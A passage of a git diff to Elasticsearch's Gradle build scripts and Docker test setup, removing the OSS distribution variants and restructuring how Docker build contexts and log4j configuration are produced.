tasks.register("processOssOutputs", Sync) { - into ossOutputs -} - def processDefaultOutputsTaskProvider = tasks.register("processDefaultOutputs", Sync) { into defaultOutputs - from processOssOutputsTaskProvider } def processSystemdOutputsTaskProvider = tasks.register("processSystemdOutputs", Sync) { @@ -111,35 +107,21 @@ def processTransportOutputsTaskProvider = tasks.register("processTransportOutput into transportOutputs } -// these are dummy tasks that can be used to depend on the relevant sub output dir -def buildOssModulesTaskProvider = tasks.register("buildOssModules") { - dependsOn processOssOutputsTaskProvider - outputs.dir "${ossOutputs}/modules" -} -tasks.register("buildOssBin") { - dependsOn "processOssOutputs" - outputs.dir "${ossOutputs}/bin" -} -tasks.register("buildOssConfig") { - dependsOn "processOssOutputs" - outputs.dir "${ossOutputs}/config" +def defaultModulesFiles = fileTree("${defaultOutputs}/modules") { + builtBy processDefaultOutputsTaskProvider } -def buildDefaultModulesTaskProvider = tasks.register("buildDefaultModules") { - dependsOn processDefaultOutputsTaskProvider - outputs.dir "${defaultOutputs}/modules" -} -tasks.register("buildDefaultBin") { - dependsOn processDefaultOutputsTaskProvider - outputs.dir "${defaultOutputs}/bin" + +def defaultBinFiles = fileTree("${defaultOutputs}/bin") { + builtBy processDefaultOutputsTaskProvider } -def buildDefaultConfigTaskProvider = tasks.register("buildDefaultConfig") { - dependsOn processOssOutputsTaskProvider - outputs.dir "${defaultOutputs}/config" +def defaultConfigFiles = fileTree("${defaultOutputs}/config") { + builtBy processDefaultOutputsTaskProvider } -def buildSystemdModuleTaskProvider = tasks.register("buildSystemdModule") { - dependsOn "processSystemdOutputs" - outputs.dir "${systemdOutputs}/modules" + +def systemdModuleFiles = fileTree("${systemdOutputs}/modules") { + builtBy processSystemdOutputsTaskProvider } + def buildTransportModulesTaskProvider = tasks.register("buildTransportModules") { dependsOn processTransportOutputsTaskProvider outputs.dir "${transportOutputs}/modules" @@ -168,7 +150,7 @@ void copyModule(TaskProvider copyTask, Project module) { exclude 'config/log4j2.properties' eachFile { details -> - String name = module.plugins.hasPlugin('elasticsearch.esplugin') ? module.esplugin.name : module.es_meta_plugin.name + String name = module.plugins.hasPlugin('elasticsearch.internal-es-plugin') ? module.esplugin.name : module.es_meta_plugin.name // Copy all non config/bin files // Note these might be unde a subdirectory in the case of a meta plugin if ((details.relativePath.pathString ==~ /([^\/]+\/)?(config|bin)\/.*/) == false) { @@ -185,7 +167,6 @@ void copyModule(TaskProvider copyTask, Project module) { // log4j config could be contained in modules, so we must join it together using these tasks def buildOssLog4jConfigTaskProvider = tasks.register("buildOssLog4jConfig") { - dependsOn "processOssOutputs" ext.contents = [] ext.log4jFile = file("${ossOutputs}/log4j2.properties") outputs.file log4jFile @@ -198,7 +179,8 @@ def buildDefaultLog4jConfigTaskProvider = tasks.register("buildDefaultLog4jConfi } Closure writeLog4jProperties = { - String mainLog4jProperties = file('src/config/log4j2.properties').getText('UTF-8') + def file = file('src/config/log4j2.properties') + String mainLog4jProperties = file.getText('UTF-8') it.log4jFile.setText(mainLog4jProperties, 'UTF-8') for (String moduleLog4jProperties : it.contents.reverse()) { it.log4jFile.append(moduleLog4jProperties, 'UTF-8') @@ -248,13 +230,9 @@ project.rootProject.subprojects.findAll { it.parent.path == ':modules' }.each { licensesDir licenses source module.file('src/main/java') } - buildOssNoticeTaskProvider.configure { - licensesDir licenses - source module.file('src/main/java') - } } - copyModule(processOssOutputsTaskProvider, module) + copyModule(processDefaultOutputsTaskProvider, module) if (module.name.startsWith('transport-')) { copyModule(processTransportOutputsTaskProvider, module) } @@ -309,7 +287,7 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { * Properties to expand when copying packaging files * *****************************************************************************/ configurations { - ['libs', 'libsPluginCli', 'libsKeystoreCli', 'libsSecurityCli'].each { + ['libs', 'libsPluginCli', 'libsKeystoreCli', 'libsSecurityCli', 'libsGeoIpCli'].each { create(it) { canBeConsumed = false canBeResolved = true @@ -330,6 +308,7 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { libsPluginCli project(':distribution:tools:plugin-cli') libsKeystoreCli project(path: ':distribution:tools:keystore-cli') libsSecurityCli project(':x-pack:plugin:security:cli') + libsGeoIpCli project(':distribution:tools:geoip-cli') } project.ext { @@ -337,17 +316,20 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { /***************************************************************************** * Common files in all distributions * *****************************************************************************/ - libFiles = { oss -> + libFiles = { testDistro -> copySpec { // delay by using closures, since they have not yet been configured, so no jar task exists yet from(configurations.libs) + into('tools/geoip-cli') { + from(configurations.libsGeoIpCli) + } into('tools/plugin-cli') { from(configurations.libsPluginCli) } into('tools/keystore-cli') { from(configurations.libsKeystoreCli) } - if (oss == false) { + if (testDistro == false) { into('tools/security-cli') { from(configurations.libsSecurityCli) } @@ -355,7 +337,7 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { } } - modulesFiles = { oss, platform -> + modulesFiles = { platform -> copySpec { eachFile { if (it.relativePath.segments[-2] == 'bin' || ((platform == 'darwin-x86_64' || platform == 'darwin-aarch64') && it.relativePath.segments[-2] == 'MacOS')) { @@ -366,24 +348,16 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { it.mode = 0644 } } - def buildModules - if (oss) { - buildModules = buildOssModulesTaskProvider - } else { - buildModules = buildDefaultModulesTaskProvider - } List excludePlatforms = ['linux-x86_64', 'linux-aarch64', 'windows-x86_64', 'darwin-x86_64', 'darwin-aarch64'] if (platform != null) { excludePlatforms.remove(excludePlatforms.indexOf(platform)) } else { excludePlatforms = [] } - from(buildModules) { + from(defaultModulesFiles) { // geo registers the geo_shape mapper that is overridden by // the geo_shape mapper registered in the x-pack-spatial plugin - if (oss == false) { - exclude "**/geo/**" - } + exclude "**/geo/**" for (String excludePlatform : excludePlatforms) { exclude "**/platform/${excludePlatform}/**" @@ -393,7 +367,7 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { from(buildExternalTestModulesTaskProvider) } if (project.path.startsWith(':distribution:packages')) { - from(buildSystemdModuleTaskProvider) + from(systemdModuleFiles) } } } @@ -402,25 +376,24 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { from buildTransportModulesTaskProvider } - configFiles = { distributionType, oss, jdk -> + configFiles = { distributionType, testDistro, jdk -> copySpec { with copySpec { // main config files, processed with distribution specific substitutions from '../src/config' exclude 'log4j2.properties' // this is handled separately below - MavenFilteringHack.filter(it, expansionsForDistribution(distributionType, oss, jdk)) + MavenFilteringHack.filter(it, expansionsForDistribution(distributionType, testDistro, jdk)) } - if (oss) { - from project(':distribution').buildOssLog4jConfig - from project(':distribution').buildOssConfig + if (testDistro) { + from buildOssLog4jConfigTaskProvider } else { - from project(':distribution').buildDefaultLog4jConfig - from project(':distribution').buildDefaultConfig + from buildDefaultLog4jConfigTaskProvider + from defaultConfigFiles } } } - binFiles = { distributionType, oss, jdk -> + binFiles = { distributionType, testDistro, jdk -> copySpec { // non-windows files, for all distributions with copySpec { @@ -428,7 +401,7 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { exclude '*.exe' exclude '*.bat' eachFile { it.setMode(0755) } - MavenFilteringHack.filter(it, expansionsForDistribution(distributionType, oss, jdk)) + MavenFilteringHack.filter(it, expansionsForDistribution(distributionType, testDistro, jdk)) } // windows files, only for zip if (distributionType == 'zip') { @@ -436,7 +409,7 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { from '../src/bin' include '*.bat' filter(FixCrLfFilter, eol: FixCrLfFilter.CrLf.newInstance('crlf')) - MavenFilteringHack.filter(it, expansionsForDistribution(distributionType, oss, jdk)) + MavenFilteringHack.filter(it, expansionsForDistribution(distributionType, testDistro, jdk)) } with copySpec { from '../src/bin' @@ -446,10 +419,8 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { // module provided bin files with copySpec { eachFile { it.setMode(0755) } - if (oss) { - from project(':distribution').buildOssBin - } else { - from project(':distribution').buildDefaultBin + if(testDistro == false) { + from(defaultBinFiles) } if (distributionType != 'zip') { exclude '*.bat' @@ -458,16 +429,12 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { } } - noticeFile = { oss, jdk -> + noticeFile = { testDistro, jdk -> copySpec { - if (project.name == 'integ-test-zip') { + if (testDistro) { from buildServerNoticeTaskProvider } else { - if (oss && jdk) { - from buildOssNoticeTaskProvider - } else if (oss) { - from buildOssNoJdkNoticeTaskProvider - } else if (jdk) { + if (jdk) { from buildDefaultNoticeTaskProvider } else { from buildDefaultNoJdkNoticeTaskProvider @@ -529,14 +496,14 @@ configure(subprojects.findAll { ['archives', 'packages'].contains(it.name) }) { * */ subprojects { - ext.expansionsForDistribution = { distributionType, oss, jdk -> + ext.expansionsForDistribution = { distributionType, testDistro, jdk -> final String packagingPathData = "path.data: /var/lib/elasticsearch" final String pathLogs = "/var/log/elasticsearch" final String packagingPathLogs = "path.logs: ${pathLogs}" final String packagingLoggc = "${pathLogs}/gc.log" String licenseText - if (oss) { + if (testDistro) { licenseText = rootProject.file('licenses/SSPL-1.0+ELASTIC-LICENSE-2.0.txt').getText('UTF-8') } else { licenseText = rootProject.file('licenses/ELASTIC-LICENSE-2.0.txt').getText('UTF-8') @@ -607,7 +574,7 @@ subprojects { ], 'es.distribution.flavor': [ - 'def': oss ? 'oss' : 'default' + 'def': testDistro ? 'oss' : 'default' ], 'es.distribution.type': [ @@ -622,7 +589,7 @@ subprojects { ], 'license.name': [ - 'deb': oss ? 'ASL-2.0' : 'Elastic-License' + 'deb': testDistro ? 'ASL-2.0' : 'Elastic-License' ], 'license.text': [ @@ -656,16 +623,14 @@ subprojects { } } -['archives:windows-zip', 'archives:oss-windows-zip', - 'archives:darwin-tar', 'archives:oss-darwin-tar', - 'archives:darwin-aarch64-tar', 'archives:oss-darwin-aarch64-tar', - 'archives:linux-aarch64-tar', 'archives:oss-linux-aarch64-tar', - 'archives:linux-tar', 'archives:oss-linux-tar', +['archives:windows-zip', + 'archives:darwin-tar', + 'archives:darwin-aarch64-tar', + 'archives:linux-aarch64-tar', + 'archives:linux-tar', 'archives:integ-test-zip', 'packages:rpm', 'packages:deb', 'packages:aarch64-rpm', 'packages:aarch64-deb', - 'packages:oss-rpm', 'packages:oss-deb', - 'packages:aarch64-oss-rpm', 'packages:aarch64-oss-deb' ].forEach { subName -> Project subproject = project("${project.path}:${subName}") Configuration configuration = configurations.create(subproject.name) @@ -673,3 +638,12 @@ subprojects { "${configuration.name}" project(path: subproject.path, configuration:'default') } } + +// This artifact makes it possible for other projects to pull +// in the final log4j2.properties configuration, as it appears in the +// archive distribution. +artifacts.add('log4jConfig', file("${defaultOutputs}/log4j2.properties")) { + type 'file' + name 'log4j2.properties' + builtBy 'buildDefaultLog4jConfig' +} diff --git a/distribution/bwc/build.gradle b/distribution/bwc/build.gradle index 37faaf142885f..476aa6978b5cc 100644 --- a/distribution/bwc/build.gradle +++ b/distribution/bwc/build.gradle @@ -9,14 +9,14 @@ apply plugin:"elasticsearch.internal-distribution-bwc-setup" import org.elasticsearch.gradle.Version -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams BuildParams.getBwcVersions().forPreviousUnreleased { unreleasedVersion -> project(unreleasedVersion.gradleProjectPath) { Version currentVersion = Version.fromString(version) TaskProvider resolveAllBwcDepsTaskProvider = bwcSetup.bwcTask("resolveAllBwcDependencies") { - t -> t.args("resolveAllDependencies") + t -> t.args("resolveAllDependencies", "-Dorg.gradle.warning.mode=none") } if (currentVersion.getMinor() == 0 && currentVersion.getRevision() == 0) { // We only want to resolve dependencies for live versions of master, without cascading this to older versions diff --git a/distribution/docker/build.gradle b/distribution/docker/build.gradle index 1a70f257954f1..3caa02cbaddd7 100644 --- a/distribution/docker/build.gradle +++ b/distribution/docker/build.gradle @@ -1,12 +1,13 @@ import org.elasticsearch.gradle.Architecture -import org.elasticsearch.gradle.DockerBase -import org.elasticsearch.gradle.ElasticsearchDistribution.Flavor +import org.elasticsearch.gradle.internal.DockerBase import org.elasticsearch.gradle.LoggedExec import org.elasticsearch.gradle.VersionProperties -import org.elasticsearch.gradle.docker.DockerBuildTask -import org.elasticsearch.gradle.docker.ShellRetry -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.testfixtures.TestFixturesPlugin +import org.elasticsearch.gradle.internal.docker.DockerBuildTask +import org.elasticsearch.gradle.internal.docker.ShellRetry +import org.elasticsearch.gradle.internal.docker.TransformLog4jConfigFilter +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.testfixtures.TestFixturesPlugin +import static org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes.DOCKER import java.nio.file.Path @@ -15,44 +16,41 @@ apply plugin: 'elasticsearch.test.fixtures' apply plugin: 'elasticsearch.internal-distribution-download' apply plugin: 'elasticsearch.rest-resources' +// Define a repository that allows Gradle to fetch a resource from GitHub. This +// is only used to fetch the `tini` binary, when building the Iron Bank docker image +// for testing purposes. +repositories { + ivy { + url 'https://github.com/' + + patternLayout { + artifact '/[organisation]/[module]/releases/download/v[revision]/[ext]' + } + + // This is required in Gradle 6.0+ as metadata file (ivy.xml) + // is mandatory. Docs linked below this code section + metadataSources { artifact() } + } +} + testFixtures.useFixture() configurations { aarch64DockerSource dockerSource - aarch64OssDockerSource - ossDockerSource - transformLog4jJar + log4jConfig + tini } dependencies { - aarch64DockerSource project(path: ":distribution:archives:linux-aarch64-tar", configuration:"default") - dockerSource project(path: ":distribution:archives:linux-tar", configuration:"default") - aarch64OssDockerSource project(path: ":distribution:archives:oss-linux-aarch64-tar", configuration:"default") - ossDockerSource project(path: ":distribution:archives:oss-linux-tar", configuration:"default") - transformLog4jJar project(path: ":distribution:docker:transform-log4j-config", configuration: "default") + aarch64DockerSource project(path: ":distribution:archives:linux-aarch64-tar", configuration: 'default') + dockerSource project(path: ":distribution:archives:linux-tar", configuration: 'default') + log4jConfig project(path: ":distribution", configuration: 'log4jConfig') + tini 'krallin:tini:0.19.0@tini-amd64' } -ext.expansions = { Architecture architecture, boolean oss, DockerBase base, boolean local -> - String classifier - if (local) { - if (architecture == Architecture.AARCH64) { - classifier = "linux-aarch64" - } else if (architecture == Architecture.X64) { - classifier = "linux-x86_64" - } else { - throw new IllegalArgumentException("Unsupported architecture [" + architecture + "]") - } - } else { - /* When sourcing the Elasticsearch build remotely, the same Dockerfile needs - * to be able to fetch the artifact for any supported platform. We can't make - * the decision here. Bash will interpolate the `arch` command for us. */ - classifier = "linux-\$(arch)" - } - - final String elasticsearch = "elasticsearch-${oss ? 'oss-' : ''}${VersionProperties.elasticsearch}-${classifier}.tar.gz" - - String buildArgs = '#' +ext.expansions = { Architecture architecture, DockerBase base -> + String buildArgs = '' if (base == DockerBase.IRON_BANK) { buildArgs = """ ARG BASE_REGISTRY=nexus-docker-secure.levelup-nexus.svc.cluster.local:18082 @@ -61,21 +59,6 @@ ARG BASE_TAG=8.3 """ } - /* Both the following Dockerfile commands put the resulting artifact at - * the same location, regardless of classifier, so that the commands that - * follow in the Dockerfile don't have to know about the runtime - * architecture. */ - String sourceElasticsearch - if (local) { - sourceElasticsearch = "COPY $elasticsearch /opt/elasticsearch.tar.gz" - } else { - sourceElasticsearch = """ -RUN curl --retry 10 -S -L \\ - --output /opt/elasticsearch.tar.gz \\ - https://artifacts-no-kpi.elastic.co/downloads/elasticsearch/$elasticsearch -""".trim() - } - def (major,minor) = VersionProperties.elasticsearch.split("\\.") return [ @@ -87,7 +70,6 @@ RUN curl --retry 10 -S -L \\ 'git_revision' : BuildParams.gitRevision, 'license' : 'Elastic-License-2.0', 'package_manager' : base == DockerBase.UBI ? 'microdnf' : 'yum', - 'source_elasticsearch': sourceElasticsearch, 'docker_base' : base.name().toLowerCase(), 'version' : VersionProperties.elasticsearch, 'major_minor_version' : "${major}.${minor}", @@ -105,93 +87,39 @@ class SquashNewlinesFilter extends FilterReader { } } -private static String buildPath(Architecture architecture, boolean oss, DockerBase base) { - return 'build/' + - (architecture == Architecture.AARCH64 ? 'aarch64-' : '') + - (oss ? 'oss-' : '') + - (base == DockerBase.UBI ? 'ubi-' : '') + - (base == DockerBase.UBI ? 'ubi-' : (base == DockerBase.IRON_BANK ? 'ironbank-' : '')) + - 'docker' -} - -private static String taskName(String prefix, Architecture architecture, boolean oss, DockerBase base, String suffix) { +private static String taskName(String prefix, Architecture architecture, DockerBase base, String suffix) { return prefix + (architecture == Architecture.AARCH64 ? 'Aarch64' : '') + - (oss ? 'Oss' : '') + (base == DockerBase.UBI ? 'Ubi' : (base == DockerBase.IRON_BANK ? 'IronBank' : '')) + suffix } -project.ext { - dockerBuildContext = { Architecture architecture, boolean oss, DockerBase base, boolean local -> - copySpec { - final Map varExpansions = expansions(architecture, oss, base, local) - final Path projectDir = project.projectDir.toPath() +ext.dockerBuildContext = { Architecture architecture, DockerBase base -> + copySpec { + final Map varExpansions = expansions(architecture, base) + final Path projectDir = project.projectDir.toPath() - if (base == DockerBase.IRON_BANK) { - into('scripts') { - from projectDir.resolve("src/docker/bin") - from(projectDir.resolve("src/docker/config")) { - exclude '**/oss' - } - } - from(projectDir.resolve("src/docker/iron_bank")) { - expand(varExpansions) - } - } else { - into('bin') { - from projectDir.resolve("src/docker/bin") - } - - into('config') { - // The OSS and default distribution can have different configuration, therefore we want to - // allow overriding the default configuration by creating config files in oss or default - // build-context sub-modules. - duplicatesStrategy = DuplicatesStrategy.INCLUDE - from projectDir.resolve("src/docker/config") - if (oss) { - from projectDir.resolve("src/docker/config/oss") - } - } + if (base == DockerBase.IRON_BANK) { + into('scripts') { + from projectDir.resolve("src/docker/bin") + from projectDir.resolve("src/docker/config") } - - from(project.projectDir.toPath().resolve("src/docker/Dockerfile")) { + from(projectDir.resolve("src/docker/iron_bank")) { expand(varExpansions) - filter SquashNewlinesFilter } - } - } -} - -void addCopyDockerContextTask(Architecture architecture, boolean oss, DockerBase base) { - if (oss && base != DockerBase.CENTOS) { - throw new GradleException("The only allowed docker base image for OSS builds is CENTOS") - } + } else { + into('bin') { + from projectDir.resolve("src/docker/bin") + } - tasks.register(taskName("copy", architecture, oss, base, "DockerContext"), Sync) { - expansions(architecture, oss, base, true).findAll { it.key != 'build_date' }.each { k, v -> - inputs.property(k, { v.toString() }) + into('config') { + from projectDir.resolve("src/docker/config") + } } - into buildPath(architecture, oss, base) - with dockerBuildContext(architecture, oss, base, true) - - into(base == DockerBase.IRON_BANK ? 'scripts' : 'bin') { - from configurations.transformLog4jJar - } - - if (architecture == Architecture.AARCH64) { - if (oss) { - from configurations.aarch64OssDockerSource - } else { - from configurations.aarch64DockerSource - } - } else { - if (oss) { - from configurations.ossDockerSource - } else { - from configurations.dockerSource - } + from(projectDir.resolve("src/docker/Dockerfile")) { + expand(varExpansions) + filter SquashNewlinesFilter } } } @@ -220,34 +148,27 @@ tasks.register("copyNodeKeyMaterial", Sync) { elasticsearch_distributions { Architecture.values().each { eachArchitecture -> - Flavor.values().each { distroFlavor -> - "docker_$distroFlavor${ eachArchitecture == Architecture.AARCH64 ? '_aarch64' : '' }" { - architecture = eachArchitecture - flavor = distroFlavor - type = 'docker' - version = VersionProperties.getElasticsearch() - failIfUnavailable = false // This ensures we don't attempt to build images if docker is unavailable - } + "docker_${ eachArchitecture == Architecture.AARCH64 ? '_aarch64' : '' }" { + architecture = eachArchitecture + type = DOCKER + version = VersionProperties.getElasticsearch() + failIfUnavailable = false // This ensures we don't attempt to build images if docker is unavailable } } } tasks.named("preProcessFixture").configure { - dependsOn elasticsearch_distributions.docker_default, elasticsearch_distributions.docker_oss + dependsOn elasticsearch_distributions.matching { it.architecture == Architecture.current() } dependsOn "copyNodeKeyMaterial" doLast { // tests expect to have an empty repo project.delete( "${buildDir}/repo", - "${buildDir}/oss-repo" ) createAndSetWritable( "${buildDir}/repo", - "${buildDir}/oss-repo", "${buildDir}/logs/default-1", "${buildDir}/logs/default-2", - "${buildDir}/logs/oss-1", - "${buildDir}/logs/oss-2" ) } } @@ -270,70 +191,132 @@ tasks.named("check").configure { dependsOn "integTest" } -void addBuildDockerImage(Architecture architecture, boolean oss, DockerBase base) { - if (oss && base != DockerBase.CENTOS) { - throw new GradleException("The only allowed docker base image for OSS builds is CENTOS") - } +// We build the images used in compose locally, but the pull command insists on using a repository +// thus we must disable it to prevent it from doing so. +// Everything will still be pulled since we will build the local images on a pull +tasks.named("composePull").configure { + enabled = false +} + +void addBuildDockerContextTask(Architecture architecture, DockerBase base) { + String configDirectory = base == DockerBase.IRON_BANK ? 'scripts' : 'config' + String arch = architecture == Architecture.AARCH64 ? '-aarch64' : '' + + tasks.register(taskName('build', architecture, base, 'DockerContext'), Tar) { + archiveExtension = 'tar.gz' + compression = Compression.GZIP + archiveClassifier = "docker-build-context${arch}" + archiveBaseName = "elasticsearch${base.suffix}" + with dockerBuildContext(architecture, base) + + into(configDirectory) { + from(configurations.log4jConfig) { + filter TransformLog4jConfigFilter + } + } - final TaskProvider buildDockerImageTask = - tasks.register(taskName("build", architecture, oss, base, "DockerImage"), DockerBuildTask) { onlyIf { Architecture.current() == architecture } - TaskProvider copyContextTask = tasks.named(taskName("copy", architecture, oss, base, "DockerContext")) - dependsOn(copyContextTask) - dockerContext.fileProvider(copyContextTask.map { it.destinationDir }) + } +} - if (base == DockerBase.UBI) { - baseImages = [ base.getImage() ] - } else { - baseImages = [ base.getImage(), 'alpine:latest' ] +void addUnpackDockerContextTask(Architecture architecture, DockerBase base) { + tasks.register(taskName("transform", architecture, base, "DockerContext"), Sync) { + TaskProvider buildContextTask = tasks.named(taskName("build", architecture, base, "DockerContext")) + dependsOn(buildContextTask) + + String arch = architecture == Architecture.AARCH64 ? '-aarch64' : '' + String archiveName = "elasticsearch${base.suffix}-${VersionProperties.elasticsearch}-docker-build-context${arch}" + String distributionName = "elasticsearch-${VersionProperties.elasticsearch}-linux-${architecture.classifier}.tar.gz" + + from(tarTree("${project.buildDir}/distributions/${archiveName}.tar.gz")) { + eachFile { FileCopyDetails details -> + if (details.name.equals("Dockerfile")) { + filter { it.replaceAll('^RUN curl.*artifacts-no-kpi.*$', "COPY ${distributionName} /opt/elasticsearch.tar.gz")} + } + } } + into "${project.buildDir}/docker-context/${archiveName}" - String version = VersionProperties.elasticsearch - if (oss) { - tags = [ - "docker.elastic.co/elasticsearch/elasticsearch-oss:${version}", - "elasticsearch-oss:test" - ] + // Since we replaced the remote URL in the Dockerfile, copy in the required file + if (architecture == Architecture.AARCH64) { + from configurations.aarch64DockerSource } else { - String suffix = base == DockerBase.UBI ? '-ubi8' : '' - tags = [ - "elasticsearch${suffix}:${version}", - "docker.elastic.co/elasticsearch/elasticsearch${suffix}:${version}", - "docker.elastic.co/elasticsearch/elasticsearch-full${suffix}:${version}", - "elasticsearch${suffix}:test", - ] + from configurations.dockerSource } + + if (base == DockerBase.IRON_BANK) { + from (configurations.tini) { + rename { _ -> 'tini' } + } + } + + expansions(architecture, base).findAll { it.key != 'build_date' }.each { k, v -> + inputs.property(k, { v.toString() }) + } + + onlyIf { Architecture.current() == architecture } } +} + + +private List generateTags(DockerBase base) { + String version = VersionProperties.elasticsearch + return [ + "elasticsearch${base.suffix}:test", + "elasticsearch${base.suffix}:${version}", + "docker.elastic.co/elasticsearch/elasticsearch${base.suffix}:${version}" + ] +} + +void addBuildDockerImageTask(Architecture architecture, DockerBase base) { + final TaskProvider buildDockerImageTask = + tasks.register(taskName("build", architecture, base, "DockerImage"), DockerBuildTask) { + + TaskProvider transformTask = tasks.named(taskName("transform", architecture, base, "DockerContext")) + dependsOn(transformTask) + + dockerContext.fileProvider(transformTask.map { it.destinationDir }) + + tags = generateTags(base) + + if (base == DockerBase.IRON_BANK) { + Map buildArgsMap = [ + 'BASE_REGISTRY': 'docker.elastic.co', + 'BASE_IMAGE': 'ubi8/ubi', + 'BASE_TAG': 'latest' + ] + + // Iron Bank has a single, parameterized base image + String baseImage = base.image + for (String key : buildArgsMap.keySet()) { + baseImage = baseImage.replace('${' + key + '}', buildArgsMap.get(key)) + } + + baseImages = [baseImage] + buildArgs = buildArgsMap + } else if (base == DockerBase.CENTOS) { + baseImages = ['alpine:latest', base.image] + } else { + baseImages = [base.image] + } + + onlyIf { Architecture.current() == architecture } + } + tasks.named("assemble").configure { dependsOn(buildDockerImageTask) } } + for (final Architecture architecture : Architecture.values()) { for (final DockerBase base : DockerBase.values()) { - if (base == DockerBase.IRON_BANK) { - // At the moment we don't actually build the Iron Bank image - continue - } - for (final boolean oss : [false, true]) { - if (oss && base != DockerBase.CENTOS) { - // We only create Docker images for the OSS distribution on CentOS. - // Other bases only use the default distribution. - continue - } - addCopyDockerContextTask(architecture, oss, base) - addBuildDockerImage(architecture, oss, base) - } + addBuildDockerContextTask(architecture, base) + addUnpackDockerContextTask(architecture, base) + addBuildDockerImageTask(architecture, base) } } -// We build the images used in compose locally, but the pull command insists on using a repository -// thus we must disable it to prevent it from doing so. -// Everything will still be pulled since we will build the local images on a pull -tasks.named("composePull").configure { - enabled = false -} - /* * The export subprojects write out the generated Docker images to disk, so * that they can be easily reloaded, for example into a VM for distribution testing @@ -343,18 +326,19 @@ subprojects { Project subProject -> apply plugin: 'distribution' final Architecture architecture = subProject.name.contains('aarch64-') ? Architecture.AARCH64 : Architecture.X64 - final boolean oss = subProject.name.contains('oss-') - // We can ignore Iron Bank at the moment as we don't - // build those images ourselves. - final DockerBase base = subProject.name.contains('ubi-') ? DockerBase.UBI : DockerBase.CENTOS + DockerBase base = DockerBase.CENTOS + if (subProject.name.contains('ubi-')) { + base = DockerBase.UBI + } else if (subProject.name.contains('ironbank-')) { + base = DockerBase.IRON_BANK + } final String arch = architecture == Architecture.AARCH64 ? '-aarch64' : '' - final String suffix = oss ? '-oss' : base == DockerBase.UBI ? '-ubi8' : '' - final String extension = base == DockerBase.UBI ? 'ubi.tar' : 'docker.tar' - final String artifactName = "elasticsearch${arch}${suffix}_test" + final String extension = base == DockerBase.UBI ? 'ubi.tar' : (base == DockerBase.IRON_BANK ? 'ironbank.tar' : 'docker.tar') + final String artifactName = "elasticsearch${arch}${base.suffix}_test" - final String exportTaskName = taskName("export", architecture, oss, base, "DockerImage") - final String buildTaskName = taskName("build", architecture, oss, base, "DockerImage") + final String exportTaskName = taskName("export", architecture, base, 'DockerImage') + final String buildTaskName = taskName('build', architecture, base, 'DockerImage') final String tarFile = "${parent.projectDir}/build/${artifactName}_${VersionProperties.elasticsearch}.${extension}" tasks.register(exportTaskName, LoggedExec) { @@ -364,7 +348,7 @@ subprojects { Project subProject -> args "save", "-o", tarFile, - "elasticsearch${suffix}:test" + "elasticsearch${base.suffix}:test" dependsOn(parent.path + ":" + buildTaskName) onlyIf { Architecture.current() == architecture } diff --git a/distribution/docker/docker-build-context/build.gradle b/distribution/docker/docker-build-context/build.gradle deleted file mode 100644 index 0f5a9e5d6773f..0000000000000 --- a/distribution/docker/docker-build-context/build.gradle +++ /dev/null @@ -1,14 +0,0 @@ -import org.elasticsearch.gradle.DockerBase - -apply plugin: 'base' - -tasks.register("buildDockerBuildContext", Tar) { - archiveExtension = 'tar.gz' - compression = Compression.GZIP - archiveClassifier = "docker-build-context" - archiveBaseName = "elasticsearch" - // Non-local builds don't need to specify an architecture. - with dockerBuildContext(null, false, DockerBase.CENTOS, false) -} - -tasks.named("assemble").configure {dependsOn "buildDockerBuildContext"} diff --git a/distribution/docker/docker-compose.yml b/distribution/docker/docker-compose.yml index a963ed08d51f9..c5441934b01f4 100644 --- a/distribution/docker/docker-compose.yml +++ b/distribution/docker/docker-compose.yml @@ -16,6 +16,7 @@ services: - cluster.routing.allocation.disk.watermark.high=1b - cluster.routing.allocation.disk.watermark.flood_stage=1b - node.store.allow_mmap=false + - ingest.geoip.downloader.enabled=false - xpack.security.enabled=true - xpack.security.transport.ssl.enabled=true - xpack.security.http.ssl.enabled=true @@ -30,6 +31,7 @@ services: - xpack.http.ssl.verification_mode=certificate - xpack.security.transport.ssl.verification_mode=certificate - xpack.license.self_generated.type=trial + - action.destructive_requires_name=false volumes: - ./build/repo:/tmp/es-repo - ./build/certs/testnode.pem:/usr/share/elasticsearch/config/testnode.pem @@ -67,6 +69,7 @@ services: - cluster.routing.allocation.disk.watermark.high=1b - cluster.routing.allocation.disk.watermark.flood_stage=1b - node.store.allow_mmap=false + - ingest.geoip.downloader.enabled=false - xpack.security.enabled=true - xpack.security.transport.ssl.enabled=true - xpack.security.http.ssl.enabled=true @@ -81,6 +84,7 @@ services: - xpack.http.ssl.verification_mode=certificate - xpack.security.transport.ssl.verification_mode=certificate - xpack.license.self_generated.type=trial + - action.destructive_requires_name=false volumes: - ./build/repo:/tmp/es-repo - ./build/certs/testnode.pem:/usr/share/elasticsearch/config/testnode.pem @@ -103,66 +107,3 @@ services: interval: 10s timeout: 2s retries: 5 - elasticsearch-oss-1: - image: elasticsearch:test - environment: - - node.name=elasticsearch-oss-1 - - cluster.initial_master_nodes=elasticsearch-oss-1,elasticsearch-oss-2 - - discovery.seed_hosts=elasticsearch-oss-2:9300 - - cluster.name=elasticsearch-oss - - bootstrap.memory_lock=true - - "ES_JAVA_OPTS=-Xms512m -Xmx512m" - - path.repo=/tmp/es-repo - - node.attr.testattr=test - - cluster.routing.allocation.disk.watermark.low=1b - - cluster.routing.allocation.disk.watermark.high=1b - - cluster.routing.allocation.disk.watermark.flood_stage=1b - - node.store.allow_mmap=false - volumes: - - ./build/oss-repo:/tmp/es-repo - - ./build/logs/oss-1:/usr/share/elasticsearch/logs - ports: - - "9200" - ulimits: - memlock: - soft: -1 - hard: -1 - nofile: - soft: 65536 - hard: 65536 - healthcheck: - 